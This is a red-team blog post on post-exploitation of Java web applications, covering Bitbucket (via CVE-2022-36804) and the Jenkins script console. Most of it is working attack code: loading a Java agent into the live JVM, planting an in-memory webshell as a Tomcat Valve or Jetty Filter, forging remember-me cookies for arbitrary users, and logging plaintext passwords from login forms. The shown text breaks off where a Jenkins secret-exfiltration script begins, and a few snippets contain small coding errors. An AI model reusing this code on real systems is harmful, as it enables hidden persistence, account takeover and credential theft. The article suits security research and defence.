Injecting Java in-memory payloads for post-exploitation

Rédigé par Clément Amic , Hugo Vincent - 23/07/2024 - dans Pentest - Téléchargement

Back in March, we described tips that could be used when exploiting arbitrary deserialization on Java applications. During the next red team engagements, we faced Java applications affected by other kind of vulnerabilities leading to code execution. This article will try to present a few other tricks that were used to inject an in-memory Java payload, illustrated with concrete examples by targeting well-known applications.

Introduction

The logic mentioned in our previous blog post1, targeting applications affected by arbitrary deserialization vulnerabilities, could be adapted to inject in-memory payloads from different vulnerabilities or features leading to RCE, such as SSTIs, scripting engines and command injections.

This article will cover some tips and tricks that could be applied to inject such a payload, and to develop post-exploitation features that would allow altering the application behavior. This would be interesting to stay under the radar during post-exploitation, or to intercept plaintext credentials of privileged users authenticating to the compromised application.

We will focus on web-based Java applications and try to illustrate these tricks by targeting the following well-known products:

Loading through command injections

Bitbucket is a web-based platform for hosting and managing Git repositories. It offers a variety of features for developers and teams to collaborate on software projects. This solution is owned and developed by Atlassian.

Context

In 2022, a command injection vulnerability referenced as CVE-2022-36804 affecting Bitbucket Data Center was disclosed. This vulnerability can be exploited by injecting arbitrary arguments to the git command when exporting a repository to an archive. If anonymous users are granted read access over a public repository, this vulnerability can be exploited without prior authentication and several PoCs2 3 exist to exploit this vulnerability.

This vulnerability could be used to compromise the server hosting it, and perform network pivoting. However, if this application hosts sensitive assets and is still used by legitimate developers, it may be interesting to first compromise it and the assets it hosts. Moreover, if outgoing traffic is filtered, and if the application is executed as an unprivileged user, it may be necessary to exfiltrate data using the application itself.

The easiest way to compromise it would be to interact with its runtime, through Java code. Bitbucket internally uses the following dependencies:

Note that the following post-exploitation tips were tested on Bitbucket Datacenter 7, but the same methodology could be used to target other versions or applications.

[...]
INFO  [main]  c.a.b.i.b.BitbucketServerApplication Starting BitbucketServerApplication v7.21.0 using Java 11.0.20.1 on b3cb508081b3 with PID 208 (/opt/atlassian/bitbucket/app/WEB-INF/classes started by bitbucket in /var/atlassian/application-data/bitbucket)
INFO  [main]  c.a.b.i.b.BitbucketServerApplication No active profile set, falling back to default profiles: default
INFO  [main]  c.a.b.i.boot.log.BuildInfoLogger Starting Bitbucket 7.21.0 (6dea001 built on Tue Mar 01 21:46:46 UTC 2022)
INFO  [main]  c.a.b.i.boot.log.BuildInfoLogger JVM: Eclipse Adoptium OpenJDK 64-Bit Server VM 11.0.20.1+1
INFO  [main]  c.a.b.i.b.BitbucketServerApplication Started BitbucketServerApplication in 2.522 seconds (JVM running for 3.135)
INFO  [spring-startup]  c.a.s.internal.home.HomeLockAcquirer Successfully acquired lock on home directory /var/atlassian/application-data/bitbucket
[...]

Injecting an in-memory payload

The Instrumentation features of the JVM are quite interesting for this purpose, as they offer capabilities for debugging or profiling applications, such as loading an arbitrary JAR file inside a running Java process. Indeed, the Attach API allows attaching an agent on a process, as long as it is requested from the same system user, and it is not restricted. Restrictions and risks of the Attach API are described in this article4. On default Bitbucket installations, using the Docker image, such restrictions are not configured.

In order to make the JVM load an agent, a JAR application that would be executed by exploiting the command injection vulnerability should be created. This application should define two entry points:

  • A main static method, executed when the application is launched legitimately. This method would use the Attach API to make the remote JVM load itself as an agent. The main class that defines this method should be referenced in the Main-Class entry of the main Manifest.
  • An agentmain static method, executed when the agent (the JAR application itself) is loaded on the remote Java process. The class that defines this method should be referenced in the Agent-Class entry of the main Manifest.

On the main static method, the Instrumentation API can be used as follows to look up the right Java process using VirtualMachine::list, and to load itself as an agent using VirtualMachine.loadAgent:

public class Main {
  // looks up the current application's JAR path
  private static String getCurrentJarPath() throws URISyntaxException {
    return new File(Main.class.getProtectionDomain().getCodeSource()
      .getLocation().toURI()).getAbsolutePath();
  }

  public static void main(String[] args) {
    try {
      String jarPath = getCurrentJarPath();
      if (!jarPath.endsWith(".jar")) return;
      
      Class vm = Class.forName("com.sun.tools.attach.VirtualMachine");
      Class vmDescriptor = Class.forName("com.sun.tools.attach.VirtualMachineDescriptor");
      List<Object> descriptors = (List<Object>) vm.getMethod("list").invoke(null);
      for (Object descriptor : descriptors) {
        String pid = (String) vmDescriptor.getMethod("id").invoke(descriptor);
        String name = (String) vmDescriptor.getMethod("displayName").invoke(descriptor);
        
        // filter process by its name / command line
        if (!name.contains("com.atlassian.bitbucket.internal.launcher.BitbucketServerLauncher"))
          continue;
        
        Object vmObject = null;
        try {
          vmObject = vm.getMethod("attach", String.class).invoke(null, pid);
          if (vmObject != null) 
              vm.getMethod("loadAgent", String.class).invoke(vmObject, jarPath);
        } finally {
          if (vmObject != null) 
            vm.getMethod("detach").invoke(vmObject);
        }
      }
    } catch (Exception e) { 
      e.printStackTrace();
    }
  }
}

The previous snippet selects the target according to the java command-line belonging to the Bitbucket application:

# ps -xa
197 ? Sl 5:03 /opt/java/openjdk/bin/java -classpath /opt/atlassian/bitbucket/app -Datlassian.standalone=BITBUCKET -Dbitbucket.home=/var/atlassian/application-data/bitbucket -Dbitbucket.install=/opt/atlassian/bitbucket -Xms512m -Xmx1g -XX:+UseG1GC -Dfile.encoding=UTF-8 -Dsun.jnu.encoding=UTF-8 -Djava.io.tmpdir=/var/atlassian/application-data/bitbucket/tmp -Djava.library.path=/opt/atlassian/bitbucket/lib/native;/var/atlassian/application-data/bitbucket/lib/native com.atlassian.bitbucket.internal.launcher.BitbucketServerLauncher start --logging.console=true
[...]

However, even though this mechanism is present in the JVM of a JRE, the Attach API and the logic used to communicate with the JVM (libattach) may not be present. For example, we faced a Bitbucket installation using OpenJDK-8-JRE that did not have such API. In order to fix it, the two following files should be retrieved from the corresponding JDK:

  • The Java Attach API on the tools.jar file.
  • The low-level libattach implementation (libattach.dll or libattach.so).

Then, these two files should be written to disk if needed, and the class path and low-level libraries path should be adjusted5:

private static void prepare() throws Exception {
  try {
    Class.forName("com.sun.tools.attach.VirtualMachine");
  } catch (Exception e) { // if libattach is not present/loaded
    String parentPath = new File(getCurrentJarPath()).getParent();
    String finalPath = parentPath + "/tools.jar";

    ClassLoader loader = ClassLoader.getSystemClassLoader();

    // adjust low-level libraries path
    Field field = ClassLoader.class.getDeclaredField("sys_paths");
    field.setAccessible(true);
    List<String> newSysPaths = new ArrayList<>();
    newSysPaths.add(parentPath);
    newSysPaths.addAll(Arrays.asList((String[])field.get(loader)));
    field.set(loader, newSysPaths.toArray(new String[0]));

    // add tools.jar to the class path
    URLClassLoader urlLoader = (URLClassLoader) loader;
    Method addURLMethod = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
    addURLMethod.setAccessible(true);
    File toolsJar = new File(finalPath);
    if (!toolsJar.exists()) 
      throw new RuntimeException(toolsJar.getAbsolutePath() + " does not exist");
    addURLMethod.invoke(urlLoader, new File(finalPath).toURI().toURL());
  }
}

Note however that adjusting the class path using addURL would not work on Java versions starting from 9, as the system class loader does not extend URLClassLoader anymore.

Once the Java agent has been loaded on the remote JVM process, the agentmain method of Agent-Class will be invoked and executed inside the remote process.

Obtaining a handle to Bitbucket

To interact with Bitbucket, a reference to the application's internal state should be obtained. But first, our custom classes, that would use Bitbucket dependencies, should be defined at runtime.

There are two ways of doing this:

  • Use the Instrumentation API to intercept calls and patch existing bytecode.
  • Look up the right ClassLoader and define new classes manually.

The first method is already covered by several blog posts6 7 and projects8 9.

They both rely on the Transformer Instrumentation API and overwrite existing bytecode. This article will detail the second option, which we used in engagements and is less dangerous as it does not interfere with the existing classes. The main idea here is to develop a new Java library, compiled in a project (either using Maven, Gradle or manually) that imports Bitbucket dependencies as external ones. This library would extend Bitbucket by calling its components and would be injected at runtime from a ClassLoader.

To look up the right ClassLoader, that includes Bitbucket classes and its dependencies, the following snippet can be used:

private static ClassLoader lookup (Instrumentation i) {
  for (Class klass : i.getAllLoadedClasses()) {
    if (!klass.getName().equals("org.apache.catalina.valves.ValveBase")) continue;
    return klass.getClassLoader();
  }
  return null;
}

// running on bitbucket
public static void agentmain (String args, Instrumentation i) {
  ClassLoader targetLoader = lookup(i);
}

Then, we just have to define our classes manually from their bytecode. Here we create a class on our agent that extends ClassLoader and uses the targetLoader as its parent, to define classes without having to make the private defineClass method accessible:

private static class AgentLoader extends ClassLoader {
  private static final byte[][] classBytecodes = new byte[][] {
    new byte[]{ /* custom class bytecode */ }
    /* classes bytecode */
  };
  
  private static final String[] classNames = new String[] {
    "org.my.project.CustomClass"
  };
  
  public void defineClasses() throws Exception {
    for (int = 0; i < classBytecodes.length; ++i) {
      defineClass(classNames[i], classBytecodes[i], 0,
        classBytecodes[i].length);
    }
  }
}

// [...]

// running on bitbucket
public static void agentmain (String args, Instrumentation i) {
  try {
    ClassLoader targetLoader = lookup(i);
    AgentLoader loader = new AgentLoader(targetLoader);
    loader.defineClasses();
  } catch (Exception e) {
    e.printStackTrace();
  }
}

Note that an easier way of doing this would be to create a URLClassLoader with targetLoader as its parent, and use it to load a class from a custom JAR library.

Now that our classes are defined inside the right ClassLoader, we can import Bitbucket dependencies from them.

Then, we need to obtain a reference to the internal application's state. As we explained in our previous blog post, such variables are usually stored on ThreadLocals. The problem with this generic approach is that our code is not running on a thread that is currently processing a web request. To fix it, we just need to continuously analyze ThreadLocals of all threads, and stop when a reference to the right state variable is identified:

package org.my.project;
// [...]
import org.springframework.web.context.request.ServletRequestAttributes;
// [...]
public class CustomClass implements Runnable {

  private static ServletRequestAttributes lookupAttributes() throws Exception {
    ServletRequestAttributes attribs = null;
    // Analyzes all thread locals of all threads
    // Stops when a servlet request is being processed
    // to obtain a reference to the web app ctx
    while(true) {
      Set<Thread> threads = Thread.getAllStackTraces().keySet();
      for (Thread t : threads) {
        java.lang.reflect.Field fThreadLocals = Thread.class.getDeclaredField("threadLocals");
        fThreadLocals.setAccessible(true);

        java.lang.reflect.Field fTable = Class.forName("java.lang.ThreadLocal$ThreadLocalMap")
          .getDeclaredField("table");
        fTable.setAccessible(true);

        if(fThreadLocals.get(t) == null) continue;

        Object table = fTable.get(fThreadLocals.get(t));
        java.lang.reflect.Field fValue = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry")
          .getDeclaredField("value");
        fValue.setAccessible(true);

        int length = java.lang.reflect.Array.getLength(table);
        for (int i=0; i < length; ++i) {
          Object entry = java.lang.reflect.Array.get(table, i);
          if(entry == null) continue;
          Object value = fValue.get(entry);
          if(value == null) continue;
          if (value instanceof WeakReference) {
            value = ((WeakReference<?>) value).get();
          }
          if(value == null) continue;
          if (value instanceof SoftReference) {
            value = ((SoftReference<?>) value).get();
          }
          if(value == null) continue;
          
          // We've found a ref
          if(value.getClass().getName().equals(ServletRequestAttributes.class.getName())) {
            attribs = (ServletRequestAttributes) value;
            break;
          }
        }
        if (attribs != null) break;
      }
      if (attribs != null) break;
      Thread.sleep(100);
    }
    return attribs;
  }
  
  @Override
  public void run() {
    try {
      ServletContext svlCtx = lookupAttributes().getRequest().getServletContext();
      // TODO reuse ServletContext
    } catch(Exception ignored) {
    }
  }

  static {
    new Thread(new CustomClass()).start();
  }
}

The previous class CustomClass has a static block initializer, executed when the class will be defined from the agent. This block creates a new thread that continuously analyzes ThreadLocals. The lookupAttributes static method stops when a reference to an instance of ServletRequestAttributes is identified and retrieves the ServletContext instance from it. To speed this step up, we just have to send a new HTTP request to the Bitbucket application.

From the ServletContext instance, we can perform the following operations:

  • Intercept all the HTTP requests by registering a new Valve on Embedded Tomcat.
  • Obtain a reference to the Spring state of Bitbucket.

In order to intercept all the HTTP requests and to register an in-memory webshell, the following snippet can be used:

public static class CustomValve extends ValveBase {
  // [...]
  @Override
  public void invoke(Request request, Response response) throws IOException, ServletException {
    try {
      // TODO parse request and send a response from the in-memory webshell
    } catch (Exception ignored) {
    } finally {
      // forward to the next Valve
      if (this.getNext() != null) {
        this.getNext().invoke(request, response);
      }
    }
  }
  // [...]
}

private void injectValve(ServletContext svlCtx) {
  // Intercepts all requests (including pre-auth requests)
  WebappClassLoaderBase lbase = (WebappClassLoaderBase) svlCtx.getClassLoader();
  Field fResources = WebappClassLoaderBase.class.getDeclaredField("resources");
  fResources.setAccessible(true);
  StandardContext ctx = (StandardContext) ((WebResourceRoot)fResources.get(lbase))
      .getContext();

  // Already injected ?
  for (Valve valve: ctx.getParent().getPipeline().getValves()) {
    if(valve.getClass().getName() == CustomValve.class.getName())
      return;
  }

  ctx.getParent().getPipeline().addValve(new CustomValve());
}

Another technique to achieve the same result is to look for an instance of a specific context class loaders. Each thread is associated with a context class loader and in the case of Tomcat, by searching through all threads we can find a WebappClassLoaderBase.

Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread t : threads) {
    cl = t.getContextClassLoader();
    if(WebappClassLoaderBase.class.isInstance(cl)){
        return cl;
    }
}

This particular class loader has a resources field:

public abstract class WebappClassLoaderBase extends URLClassLoader implements ... {
[...]
    protected WebResourceRoot resources = null;

From this field we can retrieve the StandardConext that we used in the previous example.

public class StandardRoot extends LifecycleMBeanBase implements WebResourceRoot {
[...]
    private Context context;
[...]
    public Context getContext() {
        return this.context;
    }

Regarding the Spring state of Bitbucket, it is an instance of the WebApplicationContext class, and can be retrieved from attributes of the ServletContext instance. The name of this attribute can be obtained by:

  • Decompiling Bitbucket.
  • Debugging Bitbucket.
  • Simply analyzing all the registered attributes of this SpringContext instance.

From this constant name, the WebApplicationContext instance can be retrieved:

String SPRING_ATTR = "org.springframework.web.context.WebApplicationContext:Bitbucket";
ServletContext svlCtx = /* lookup() */;
WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);

Finally, it is possible to call Bitbucket components, which are Beans on Spring, or to retrieve Bitbucket properties from it:

WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);
SampleService sampleService = (SampleService) ctx.getBean("sampleService");
String sampleBitbucketPropertyValue = ctx.getEnvironment().getProperty("some-property");

Interacting with Bitbucket components

Now that we have a convenient way to extend Bitbucket capabilities by calling its components, we can look for interesting features of Bitbucket. These would then be used in our in-memory webshell to provide specific commands.

As for the SpringContext attributes, we can analyze the call stack by attaching a debugger to Bitbucket, and decompile the related JAR dependencies. This blogpost will not cover it, but it is a good start to find which components (i.e. Spring Beans) are used to perform specific tasks in Bitbucket.

Actually, the following JAR files are interesting:

  • API definitions (using interfaces only), on JAR libraries following the naming convention bitbucket-[feature]-api-[version].jar.
  • API implementations, on JAR libraries following the naming convention bitbucket-[feature]-impl-[version].jar.

Parts of the main API are documented on the Atlassian Docs website.

On the API implementation libraries, the @Service("[name]") Spring class annotation corresponds to the name given to the Bitbucket component (i.e. Spring Bean), that can be retrieved from the WebApplicationContext.

For example, the DefaultUserService implementing UserService is a Bean named userService:

// [...]
@DependsOn({"createSystemUserUpgradeTask"})
@AvailableToPlugins(interfaces = {UserService.class, DmzUserService.class})
@Service("userService")
/* loaded from: bitbucket-service-impl-7.21.0.jar:com/atlassian/stash/internal/user/DefaultUserService.class */
public class DefaultUserService extends AbstractService implements InternalUserService {
  // [...]
  private final ApplicationUserDao userDao;
  private final UserHelper userHelper;
  @Value("${page.max.groups}")
  private int maxGroupPageSize;
  @Value("${page.max.users}")
  private int maxUserPageSize;

  @Autowired
  public DefaultUserService(@Lazy InternalAvatarService avatarService, InternalAuthenticationContext authenticationContext, CacheFactory cacheFactory, CrowdControl crowdControl, EventPublisher eventPublisher, I18nService i18nService, PasswordResetHelper passwordResetHelper, @Lazy InternalPermissionService permissionService, ApplicationUserDao userDao, UserHelper userHelper, @Value("${auth.remote.cache.cacheSize}") int cacheSize, @Value("${auth.remote.cache.ttl}") int cacheTtl, @Value("${auth.remote.enabled}") boolean checkRemoteDirectory) {
    // [...]
  }

  @PreAuthorize("hasUserPermission(#user, 'USER_ADMIN')")
  public void deleteAvatar(@Nonnull ApplicationUser user) {
    this.avatarService.deleteForUser((ApplicationUser) Objects.requireNonNull(user, "user"));
  }
  // [...]
}

Which is available from our context as follows:

WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);
UserService userService = (UserService) ctx.getBean("userService");

Listing administrators

The first step on post-exploitation is to perform a reconnaissance phase. In the current context, it would be useful to list details of all the administrators of the Bitbucket instance. For this purpose, there is also a PermissionService that can be used to fetch users' details that have a specific permission:

// ctx from current request intercepted by CustomValve
WebApplicationContext ctx = (WebApplicationContext) request.getServletContext()
  .getAttribute(SPRING_ATTR);

HashMap<String, Object> result = new HashMap<>();
PermissionService permissionService = (PermissionService) ctx.getBean("permissionService");
for(Permission perm : new Permission[]{ Permission.ADMIN, Permission.SYS_ADMIN}) {
  Page<ApplicationUser> admins = permissionService.getGrantedUsers(perm, new PageRequestImpl(0, 100));
  for(ApplicationUser user : admins.getValues()) {
    HashMap<String, Object> entry = new HashMap<>();
    entry.put("user_id", user.getId());
    entry.put("user_name", user.getDisplayName());
    entry.put("user_slug", user.getSlug());
    entry.put("user_type", user.getType().name());
    entry.put("user_enabled", Boolean.toString(user.isActive()));
    entry.put("user_email", user.getEmailAddress());
    entry.put("permission", perm.name());
    result.put(Integer.toString(user.getId()), entry);
  }
}

However, if this snippet is executed as-is from our injected context (i.e. from an intercepted request in our custom Valve), the following Exception will be thrown:

org.hibernate.HibernateException: Could not obtain transaction-synchronized Session for current thread

In Bitbucket, the Spring Framework uses Hibernate under the hoods. In our context, no session is already opened so all the subsequent database queries will fail. By reproducing the behavior of OpenSessionInViewFilter using SessionFactoryUtils, we can set up a new session for our context:

import org.hibernate.FlushMode;
import org.hibernate.Session;
import org.hibernate.SessionFactory;
import org.springframework.orm.hibernate5.SessionFactoryUtils;
import org.springframework.orm.hibernate5.SessionHolder;
import org.springframework.transaction.support.TransactionSynchronizationManager;
import org.springframework.web.context.WebApplicationContext;

import java.io.Closeable;

public class HibernateSessionCloseable implements Closeable {
  private final SessionFactory factory;
  private final Session session;
  public HibernateSessionCloseable(WebApplicationContext webCtx) {
    this.factory = (SessionFactory) webCtx.getBean("sessionFactory");
    this.session = factory.openSession();
    session.setHibernateFlushMode(FlushMode.MANUAL);
    SessionHolder holder = new SessionHolder(session);
    TransactionSynchronizationManager.bindResource(factory, holder);
  }

  @Override
  public void close() {
    session.flush();
    TransactionSynchronizationManager.unbindResource(factory);
    SessionFactoryUtils.closeSession(session);
  }
}

Now, we just have to surround our code block with a new HibernateSessionCloseable instance to fix it:

// ctx from current request intercepted by CustomValve
WebApplicationContext ctx = (WebApplicationContext) request.getServletContext()
  .getAttribute(SPRING_ATTR);

HashMap<String, Object> result = new HashMap<>();
try (HibernateSessionCloseable ignored = new HibernateSessionCloseable(ctx)) {
  PermissionService permissionService = (PermissionService) ctx.getBean("permissionService");
  for(Permission perm : new Permission[]{ Permission.ADMIN, Permission.SYS_ADMIN}) {
    Page<ApplicationUser> admins = permissionService.getGrantedUsers(perm, new PageRequestImpl(0, 100));
    for(ApplicationUser user : admins.getValues()) {
      // [...]
    }
  }
}

Generating authentication cookies

Another feature that can be interesting for this in-memory webshell would be to generate authenticated sessions for an arbitrary Bitbucket user. Bitbucket, as several applications (cf. Spring Remember-Me Authentication), has an authentication method based on remember-me cookies (cf. RememberMeService). This feature is enabled by default (optional value for the Bitbucket property auth.remember-me.enabled), and automatically authenticates a user based on a cookie.

This service is implemented by the DefaultRememberMeService class:

// [...]
@Service("rememberMeService")
@AvailableToPlugins(RememberMeService.class)
/* loaded from: bitbucket-service-impl-7.21.0.jar:com/atlassian/stash/internal/auth/DefaultRememberMeService.class */
public class DefaultRememberMeService implements InternalRememberMeService, RememberMeService {
  // [...]
  private final AuthenticationContext authenticationContext;
  private final RememberMeTokenDao dao;
  private final SecureTokenGenerator tokenGenerator;
  private final UserService userService;
  // [...]
  public void createCookie(@Nonnull HttpServletRequest request, @Nonnull HttpServletResponse response) {
    ApplicationUser user = this.authenticationContext.getCurrentUser();
    Objects.requireNonNull(user);
    doCreateCookie(user, request, response, false);
  }
  // [...]
  @VisibleForTesting
  protected String encodeCookie(String... cookieTokens) {
    String joined = StringUtils.join(cookieTokens, ":");
    String encoded = new String(Base64.encodeBase64(joined.getBytes()));
    return StringUtils.stripEnd(encoded, "=");
  }
  // [...]
  private void doCreateCookie(@Nonnull ApplicationUser user, @Nonnull HttpServletRequest request, 
      @Nonnull HttpServletResponse response, boolean shouldThrowIfCookiePresent) {
    Cookie cookie = getCookie(request);
    if (cookie != null) {
      if (shouldThrowIfCookiePresent) {
        cancelCookie(request, response);
        InternalRememberMeToken token = toToken(cookie);
        throw new IllegalStateException("A remember-me cookie for series '+" 
          + (token != null ? token.getSeries() : "invalid") 
          + "' is already present. Cannot provide a remember-me cookie for a new series. Canceling the existing cookie");
      }
      logout(request, response);
    }
    InternalRememberMeToken token2 = (InternalRememberMeToken) this.dao.create(
      new InternalRememberMeToken.Builder()
        .series(this.tokenGenerator.generateToken())
        .token(this.tokenGenerator.generateToken())
        .user(InternalConverter.convertToInternalUser(user))
        .expiresAfter(this.expirySeconds, TimeUnit.SECONDS).build());
    setCookie(request, response, token2);
    log.debug("Created new remember-me series '{}' for user '{}'", token2.getSeries(), user.getName());
  }
  // [...]
}

As this service only allows generating a remember-me cookie for the currently authenticated user, we will need to generate the remember-me cookie by copying the behavior of the doCreateCookie private method:

HashMap<String, Object> result = new HashMap<>();
int userId = (int) args.get("target_user_id");
try (HibernateSessionCloseable ignored = new HibernateSessionCloseable(ctx)) {
  //lookup user
  UserService userService = (UserService) ctx.getBean("userService");
  ApplicationUser user;
  try {
    user = userService.getUserById(userId);
  } catch (Exception e) {
    return;
  }
  if (user == null) return;
  //generate an auto-login cookie for this user
  RememberMeTokenDao rmeDao = (RememberMeTokenDao) ctx.getBean("rememberMeTokenDao");
  SecureTokenGenerator tokenGenerator = (SecureTokenGenerator) ctx.getBean("tokenGenerator");
  InternalRememberMeToken token = rmeDao.create(
    new InternalRememberMeToken.Builder()
      .series(tokenGenerator.generateToken())
      .token(tokenGenerator.generateToken())
      .user(InternalConverter.convertToInternalUser(user))
      .expiresAfter(TimeUnit.DAYS.toSeconds(365), TimeUnit.SECONDS)
      .build()
  );
  String joined = StringUtils.join(Arrays.asList(token.getSeries(), token.getToken()), ':');
  result.put("cookie_name", ctx.getEnvironment().getProperty("auth.remember-me.cookie.name"));
  result.put("cookie_value", Base64Utils.encodeToUrlSafeString(joined.getBytes()));
}

This cookie, once returned from the webshell on the HTTP response, can be directly used to obtain an authenticated session on behalf of the targeted user, granting full privileges over Bitbucket if it is an administrator.

Intercepting plaintext credentials

The last interesting feature of this webshell would be to intercept authentication forms submitted by legitimate users to capture credentials in plaintext, as this would be useful to gain access to other sensitive assets. Moreover, on-premise Bitbucket instances usually rely on an LDAP directory for authentication (cf. Bitbucket Datacenter guide), which makes it even more interesting.

For Bitbucket, the authentication form uses the /j_atl_security_check endpoint. For example, when the form is submitted, the following request is performed:

POST /j_atl_security_check HTTP/1.1
Host: 172.16.0.2:7990
Content-Type: application/x-www-form-urlencoded
Content-Length: [...]

j_username=[USERNAME]&j_password=[PASSWORD]&_atl_remember_me=on&next=[...]&queryString=[...]&submit=Log+in

On our context, all the HTTP requests can be intercepted from the CustomValve class, the following snippet logs all the received credentials:

public static class CustomValve extends ValveBase {
  // [...]
  @Override
  public void invoke(Request request, Response response) throws IOException, ServletException {
    try {
      if (request.getRequestURI().equals("/j_atl_security_check")
          && request.getMethod().equalsIgnoreCase("POST")
          && request.getParameter("j_username") != null
          && request.getParameter("j_password") != null) {
        
        logCredentials(request.getParameter("j_username"),
          request.getParameter("j_password"));
      }
      // TODO parse request and send a response from the in-memory webshell
    } catch (Exception ignored) {
    } finally {
      // forward to the next Valve
      if (this.getNext() != null) {
        this.getNext().invoke(request, response);
      }
    }
  }
  
  private final HashMap<String, Set<String>> credentials = new HashMap<>();
  
  private void logCredentials(String username, String pass) {
    u = u.trim();
    synchronized (credentials) {
      if(credentials.containsKey(username)) {
        Set<String> set = credentials.get(u);
        set.add(pass);
      } else {
        Set<String> set = new HashSet<>();
        set.add(pass);
        credentials.put(username, set);
      }
    }
  }
  // [...]
}

Finally, the webshell just has to be modified to handle a new command that responds to its caller with all the intercepted credentials.

Loading through a scripting engine

Jenkins is an open-source automation server widely used for continuous integration (CI) and continuous delivery (CD) pipelines in software development. It allows developers to automate various aspects of the software development process, such as building, testing, and deploying code changes.

Context

Jenkins has a feature allowing to execute Groovy scripts from:

  • The Script console on the management interface, where scripts can be executed within the Jenkins controller runtime (i.e. where the web console is executed).
  • Automation tasks when submitting code to pipelines, where scripts are executed on Jenkins workers.

Over the past years, two pre-authenticated paths leading to RCE on the Jenkins controller were identified:

  • Arbitrary unserialize of user-supplied data from Jenkins Remoting (CVE-2017-1000353, including a Metasploit module10). As explained in this article11, the unserialize is triggered from a SignedObject of a gadget chain targeting commons-collections:3.0 using Transformers.
  • Several sandbox bypasses on pipeline jobs covered by Orange Tsai (Hacking Jenkins Part 112, Hacking Jenkins Part 213), chaining CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029 (PoC14).

In this article, we will only consider the simple case of being authenticated as administrator on Jenkins where we can use the Script console to execute arbitrary Groovy scripts within the Jenkins controller runtime. Note however that the post-exploitation tricks presented in the following chapters could be used from the two mentioned RCE chains.

The Groovy scripts execution will be used to interact with the Jenkins runtime. Jenkins internally uses the following dependencies:

Injecting an in-memory payload

We can already define new classes from Groovy. Additionally, we can define custom classes from the parent of the current Thread context's ClassLoader:

try {
    ClassLoader cl = Thread.currentThread().getContextClassLoader()
        .getParent();
    Class kValve;
    for(d in ['[B64_ENCODED_CLASS_BYTECODE]']) {
        byte[] klassBytes = Base64.decoder.decode(d.strip());
        m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        m.setAccessible(true);
        kValve = (Class) m.invoke(cl, klassBytes, 0, klassBytes.length);
    }
    kValve.newInstance();
} catch(e) { }

From our injected custom classes, we can interact with Jenkins and Spring classes. The next step would be to inject an in-memory webshell intercepting all HTTP requests. In Spring on Jetty, we can obtain a reference to WebAppContext$Context in ThreadLocals of a thread currently processing a request.  From an instance of the enclosed WebAppContext$Context class, we can retrieve the instance of the enclosing class WebAppContext, stored in the internal field this$0.

Luckily, our Groovy script is executed from within the thread that is processing our current HTTP request, and we can obtain this reference from the following snippet:

try {
  Thread t = Thread.currentThread();
  java.lang.reflect.Field fThreadLocals = Thread.class.getDeclaredField("threadLocals");
  fThreadLocals.setAccessible(true);

  java.lang.reflect.Field fTable = Class.forName("java.lang.ThreadLocal$ThreadLocalMap").getDeclaredField("table");
  fTable.setAccessible(true);

  if (fThreadLocals.get(t) == null) return;

  Object table = fTable.get(fThreadLocals.get(t));
  java.lang.reflect.Field fValue = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry").getDeclaredField("value");
  fValue.setAccessible(true);

  Object handle = null;
  int length = java.lang.reflect.Array.getLength(table);
  for (int i = 0; i < length; ++i) {
    Object entry = java.lang.reflect.Array.get(table, i);
    if (entry == null) continue;
    Object value = fValue.get(entry);
    if (value == null) continue;
    if (value instanceof WeakReference) {
      value = ((WeakReference<?>) value).get();
    }
    if (value == null) continue;
    if (value instanceof SoftReference) {
      value = ((SoftReference<?>) value).get();
    }
    if (value == null) continue;
    if (value.getClass().getName().equals("org.eclipse.jetty.webapp.WebAppContext$Context")) {
      handle = value;
      break;
    }
  }
  if (handle == null) return;
  Field this0 = handle.getClass().getDeclaredField("this$0");
  this0.setAccessible(true);
  WebAppContext appCtx = (WebAppContext) this0.get(handle);
} catch (Throwable ignored) {
}

Then, we can use this reference to define a custom Filter and add it to the top of the chain:

//[...]
import javax.servlet.Filter;
//[...]
public class CustomFilter implements Filter {

  public CustomFilter(WebAppContext appCtx) throws Exception {
    ServletHandler handler = appCtx.getServletHandler();
    addFilterWithMapping(
      handler,
      new FilterHolder(this), "/*",
      EnumSet.of(DispatcherType.ASYNC, DispatcherType.REQUEST)
    );
  }

  private static void addFilterWithMapping(final ServletHandler handler, FilterHolder holder, 
      String pathSpec, EnumSet<DispatcherType> dispatches) throws Exception {
    holder.setName("CustomFilter" + new SecureRandom().nextInt(0xffff));
    Objects.requireNonNull(holder);
    FilterHolder[] holders = handler.getFilters();
    if (holders != null) {
      holders = holders.clone();
    } else {
      holders = new FilterHolder[0];
    }
    // already injected
    for (FilterHolder entry : holders) {
      if (entry.getFilter().getClass().getName().equals(CustomFilter.class.getName()))
        return;
    }
    synchronized (handler) {
      Method contains = handler.getClass()
        .getDeclaredMethod("containsFilterHolder", FilterHolder.class);
      contains.setAccessible(true);
      if (!((Boolean) contains.invoke(handler, holder))) {
        handler.setFilters(ArrayUtil.add(new FilterHolder[]{holder}, holders));
      }
    }

    FilterMapping mapping = new FilterMapping();
    mapping.setFilterName(holder.getName());
    mapping.setPathSpec(pathSpec);
    mapping.setDispatcherTypes(dispatches);
    handler.prependFilterMapping(mapping);
  }
  
  @Override
  public void destroy() { }

  @Override
  public void init(FilterConfig filterConfig) { }

  private static class AbortRequest extends Throwable { }

  @Override
  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, 
      FilterChain filterChain) throws IOException, ServletException {
    try {
      HttpServletRequest request = (HttpServletRequest) servletRequest;
      HttpServletResponse response = (HttpServletResponse) servletResponse;

      if (request.getHeader(/* [...] */) != null) {
        try {
          handleRequest(request, response);
        } catch (AbortRequest e) {
          return; //if raw HTML result, prevent the req from being processed by jenkins
        }
      }
    } catch (Exception ignored) {
    }
    if (filterChain != null) {
      filterChain.doFilter(servletRequest, servletResponse);
    }
  }

  // [...]
}

This in-memory webshell can then be extended to define specific features.

Executing scripts

On Jenkins, Groovy scripts are executed using the RemotingDiagnostics class of Hudson and its Script private class. This class imports several packages that allow interacting with the Jenkins API.

For example, the following script, based on the one mentioned in this article15, can be directly used to exfiltrate all the automation secrets, as long as the currently authenticated user is granted read privileges over them:

import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernameCredentials
